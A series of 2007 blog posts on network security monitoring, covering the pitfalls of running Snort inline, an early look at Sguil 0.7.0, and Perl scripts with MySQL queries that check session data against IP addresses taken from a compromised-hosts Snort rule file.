Running IDS Inline

2007-09-30T10:10:00.000-04:00

When do you run IDS inline?

Although the idea of running an IDS inline to prevent attacks rather than just detect them is appealing, reality is harsh. There are a lot of problems running an IDS inline.

The first and most significant problem with running IDS inline is that most people don't adequately tune IDS. This is a problem whether you run inline or passive IDS. I get the feeling that the general management view towards IDS, perpetuated by marketing, is that you should be able to drop an IDS on the network and it is ready to go. This is far from the truth. Network monitoring requires tuning all involved systems and humans to analyze the information provided by the systems.

When I set up my first Snort deployment, I spent countless hours tuning and tweaking the configuration, rules, performance and more. Along the way, I added Sguil, which was useful both for more thorough analysis and more effective tuning based on those analyses. Even after all that, tuning is a daily requirement and never should stop.

Every time you update rules, you should tune. Every time the network changes, you may need to tune. Every time your IDS itself is updated, you may need to tune. Every time a new attack is discovered, you may need to tune. Tuning does not and should not end unless you want your network security monitoring to become less effective over time. I would be willing to bet that a majority of inline IDS don't come close to taking full advantage of blocking features because of a lack of tuning. Passive IDS suffers from the same problem, but the results can be even worse if an inline IDS starts blocking legitimate traffic.

Another problem, somewhat related to tuning, with running IDS inline is that rules are never perfect. Do you trust your enabled rules to be 100% perfect? If not, what percentage of alerts from a given rule must be accurate to make the rule acceptable in blocking mode? Even good rules will sometimes or often trigger on benign traffic.

For Snort, one of the most reliable rule sets are policy violations. Both VRT rules and Bleeding rules are extremely reliable when detecting policy violations with a minimal number of alerts triggered on unrelated network traffic. Spyware rules are similarly accurate.

Rules designed to detect more serious malicious activity are much less consistent. Most are simply not reliable enough to use in a mode that blocks the traffic the rule is designed to detect. That does not mean the rules are necessarily bad! Good rules still aren't perfect. This is one of many reasons why there will always be work for security analysts. IDS or other NSM systems are no substitute for the analysis that an experienced human can provide. They simply are tools to to be used by the analyst.

Last, don't forget that running anything inline can seriously impact the network. If my Snort process at home dies for some reason, I can survive without Internet access until I get it restarted. This isn't always the case for businesses, so consider whether your traffic should be going through a system that fails open if there are problems. Even at home I don't queue port 22 to snort_inline because I want to be able to SSH into the box from the Internet if there are problems.

The real question that has to be answered is whether the benefits of dropping traffic iare worth the risks of running inline.

First Impressions of Sguil 0.7.0

2007-09-21T20:44:00.000-04:00

Since first using Sguil on version 0.5.3, I have definitely become a believer in Sguil and network security monitoring. Sguil is much more than just a front-end for looking at Snort alerts. It integrates other features, such as session data and full content packet captures, that make security monitoring much more effective than just looking at IDS alerts.

I recently upgraded my version of Sguil from the release version, 0.6.1, to the new beta version, 0.7.0. I have not even been using it for a week yet, but I do have a few first impressions.

Before talking about Sguil itself, I would like to say thanks to Bamm Visscher, the original author of Sguil, Steve Halligan, a major contributor, and all the others who have contributed. I can say that it is easy to tell that Sguil is written and developed by security analysts, and it is bound to make you look smart to your bosses. Sguil has a thriving community of users and contributors that have been very active in improvements and documentation.

Upgrading Sguil from 0.6.1 to 0.7.0 was less difficult than I had anticipated. Reading the Sguil on RedHat HOWTO is a good idea, even if using a different operating system or distribution. It is not necessary to follow the HOWTO but it does provide a lot of useful information to ease the installation or upgrade process.

The basic procedure for upgrading was to stop sguild and sensor_agent, run the provided script to update the database, upgrade the components, and add PADS. Of course, if you are doing this in a production environment then you probably would want to backup the database, sguild files on the server, and sguil files on the sensors. Since I was upgrading at home, I didn't bother backing up my database.

Under the hood, communications between sensors and the Sguil server has changed. The network and data flow diagrams I contributed to the NSMWiki show the change from one sensor agent to multiple agents. One reason for this change is that it will make it easier to distribute sensor services across multiple systems, allowing people to run packet logging, Snort in IDS mode, or sancp on separate systems. I can see this being extremely useful if you are performance-limited because of old hardware, or if you monitor high-traffic environments.

Another reason for the change in agents was to make it easier to add other data sources. An example of this, the only one I know of so far, is Victor Julien's modsec2sguil. It will be interesting to see if the changes to Sguil lead to other agents to add support for other data sources. I know that David Bianco has discussed writing an OSSEC agent to add a host-based IDS as a Sguil data source.

The changes to the client seem relatively minor but are useful. David Bianco already has written about added support for cloaking investigative activities in Sguil. Sguil 0.7.0 has added support for proxying DNS requests through a third party like OpenDNS. In fact, this feature was enabled by default when I installed my new client.

Another change is PADS, which will display real-time alerts to the client as new assets are detected on the network. An example of a PADS alerts is:

PADS New Asset - smtp Microsoft Exchange SMTP

Though I like the idea of PADS a lot, it currently has some issues that definitely limit its usefulness. In its current form, Sguil's implementation of PADS has a bug where it generates alerts for external services, for instance when my home systems connect to external web or SMTP servers. The goal of PADS in the context of Sguil is really internal service detection so you can see any unusual or non-standard services on systems you are monitoring.

Even once the bug is fixed, I can see it being extremely noisy on a large, diverse network. I may make a separate post in the future with ideas regarding PADS. Profiles for groups of systems and their services is definitely one idea that might be useful, but I'm not sure how hard it would be to implement. PADS has potential, but it will take some time.

Another nice change in the Sguil client is the ability to click the reference URLs or SID when displaying Snort rules, opening your browser to the relevant page. This was a feature that was sorely needed and it will be nice not to need copy and paste for Snort rule references.

I'm looking forward to further testing and the future release of 0.7.0.

Pulling IP Addresses and Ranges From a Snort Rule

2007-09-14T23:34:00.000-04:00

In my previous post, I included a short Perl script to pull IP addresses from a Snort rule file. The problem with the script was that it simply stripped CIDR notation rather than expanding to all the included IP addresses. For instance, 10.0.0.0/28 would become 10.0.0.0. After a little searching, I found the Perl module NetAddr::IP that can be used to more easily manage and manipulate IP addresses and subnets. I also found an example of how to use the module for subnet expansion, among other things.

The following modification of my previous script will not only grab all the IP addresses from the snort rule, but also expand all CIDR addresses to the individual IP addresses in the CIDR range.

Edit: If you grabbed the script before September 16, then grab it again. While I was trying to make it look pretty, I must have inadvertently altered the substitution to remove the trailing CIDR notation. The current version is corrected.

#!/usr/bin/perl
#
# Script to pull IP address from Snort rules file
# by nr
# 2007-08-30
# 2007-09-14 Added CIDR expansion

# Set filenames
$rulefile = "/home/nr/bleeding-compromised.rules";
$ip_outfile = "iplist.txt";

# Open file to read
die "Can't open rulefile.\n" unless open RULEFILE, "<", "$rulefile";
# Open file to write
die "Can't open outfile.\n" unless open IPLIST, ">", "$ip_outfile";

# Put each rule from rules file into array
chomp(@rule = <RULEFILE>);

# For each rule
foreach $rule (@rule) {
    # Match only rules with IP addresses so we don't get comments etc
    # This string match does not check for validity of IP addresses
    if ( $rule =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ) {
        # Remove everything before [ character
        $rule =~ s/.*\[//g;
        # Remove everything after ] character
        $rule =~ s/\].*//g;
        # Split the remaining data using the commas
        # and put it into ip_address array
        @ip_address = split /\,/, $rule;

        # For each IP address in array
        foreach $ip_address (@ip_address) {

            # Match on slash
            if ( $ip_address =~ /.*\/.*/ ) {

                # Expand CIDR to all IP addresses in range modified from
                # http://www.perlmonks.org/?displaytype=print;node_id=190497
                use NetAddr::IP;
                my $newip = new NetAddr::IP($ip_address);

                # While less than broadcast address
                while ( $newip < $newip->broadcast) {
                    # Strip trailing slash and netmask from IP
                    $temp_ip = $newip;
                    $temp_ip =~ s/\/.*//g;
                    print IPLIST "$temp_ip\n";
                    # Increment to next IP
                    $newip ++;
                }
            }
            # For non-CIDR, simply print IP
            else {
                print IPLIST "$ip_address\n";
            }
        }
    }
}

# Close filehandles
close RULEFILE;
close IPLIST;

One last note. If you prefer to pass the rule file name and output file to the script at the command line every time you run it, change the $rulefile and $ip_outfile variables to equal $ARGV[0] and $ARGV[1].

Querying Session Data Based on Snort Rule IPs

2007-09-10T20:49:00.000-04:00

Sometimes Snort rules can contain useful information but are not practical to use in production. The Bleeding Snort rules recently added a set of rules to detect connection attempts to known compromised hosts. If you take a look at the rules, you'll see that it is essentially a large list of IP addresses that are known to be compromised.

When I first ran these rules on a Snort sensor, they definitely gave me some alerts requiring action. However, the performance of the sensor really suffered, particularly as the set of IP addresses grew. Since the rules were causing packet loss, I wanted to disable them.

I decided to write a script to grab the IP addresses from the Bleeding rule, then load the addresses into my database to compare with stored sancp data. If you are monitoring your network but not storing session data acquired with tools like sancp or argus, you should be. In my case, I am running Sguil, which uses sancp.

First, I had to write the script to grab the IP addresses. Since I just finished an introduction to Perl class in school and had many projects that required string matching, I figured that was the way to go. Since I'm a beginner, I would be more than happy if anyone can offer improvements to the following script. In particular, one thing I have not worked on yet is a method for expanding CIDR notation to individual IP addresses. The bleeding-compromised.rules do contain some networks in CIDR notation rather than just individual IP addresses, and for now the script simply strips the notation resulting in an incomplete IP list.

Edit: I posted an updated script that replaces the one in this post. I would suggest using the updated version rather than this one.

#!/usr/bin/perl
#
# Script to pull IP address from Snort rules file
# by nr
# 2007-08-30

# Set filenames
$rulefile = "/nsm/rules/bleeding-compromised.rules";
$ip_outfile = "iplist.txt";

# Print error unless successful open of file to read
die "Can't open rulefile.\n" unless open RULEFILE, "<", "$rulefile"; # Open file to write open IPLIST, ">", "$ip_outfile";

# Put each rule from rules file into array
chomp(@rule = <RULEFILE>);

# For each rule
foreach $rule (@rule) {
# Match only rules with IP addresses so we don't get comments etc
# This string match does not check for validity of IP addresses
if ( $rule =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ) {
    # Remove everything before [ character
    $rule =~ s/.*\[//g;
    # Remove everything after ] character
    $rule =~ s/\].*//g;
    # Split the remaining data using the commas
    # and put it into ip_address array
    @ip_address = split /\,/, $rule;

    # For each IP address in array
    foreach $ip_address (@ip_address) {
        # Remove CIDR notation (means those IP ranges are missed - need to fix)
        $ip_address =~ s/\/.*//g;
        # Print to output file one IP per line
        print IPLIST "$ip_address\n";
        }
    }
}

# Close filehandles
close RULEFILE;
close IPLIST;

Now I have a file called "iplist.txt" with the list of IP addresses, one per line. Next, I log into MySQL and load the list into a temporary database and table. The table really only needs one column of the CHAR or VARCHAR data type. (See the MySQL documentation for creating tables or databases).

LOAD DATA LOCAL INFILE '/home/nr/iplist.txt' INTO TABLE temp.ipaddr;

Then I have to convert the IP addresses to the INT data type using the INET_ATON function so they can be matched against my sancp session data. I created the table "sguildb.ipaddresses" for cases like this where I want to load external IP address and then run a query. The "temp.ipaddr" table has one column called "new_ip". The "sguildb.ipaddresses" table also has one column, but called "dst_ip".

INSERT INTO sguildb.ipaddresses SELECT INET_ATON(new_ip) FROM temp.ipaddr;

In MySQL 5.x, you can combine the previous two steps to add and convert the data in one step. I'm currently running 4.1, so I have not investigated the exact syntax.

Finally, I can query my sancp session data for connections going to any of the IP addresses in sguildb.ipaddresses, which are the IP addresses from the Snort rule.

SELECT sancp.sid,INET_NTOA(sancp.src_ip),sancp.src_port,INET_NTOA(sancp.dst_ip),
sancp.dst_port,sancp.start_time FROM sancp INNER JOIN ipaddresses ON
(sancp.dst_ip = ipaddresses.dst_ip) WHERE sancp.start_time >= DATE_SUB(UTC_DATE(),
INTERVAL 24 HOUR) AND sancp.dst_port = '80';

This query will return the sensor ID, source IP, source port, destination IP, destination port, and session start time from the sancp table wherever the sancp.dst_ip matches the ipaddresses.dst_ip where I stored the IP addresses from the Snort rule. Notice that it will query the last 24 hours for port 80 connections only. Depending on the type of activity you are looking for, you could change ports or remove the port match entirely.

This whole process could be automated further by running the mysql commands directly from the Perl script so the compromised IP addresses are updated in the database when the script is run.

The final SQL query to match the compromised IP addresses with sancp destination IP addresses can easily be turned into a cronjob. For instance, if querying for the past 24 hours then run the cronjob once a day. Once the results are returned, if running Sguil with full content logging it is easy to then query for the individual connections you're interested in and view the ASCII transcripts or the packet captures.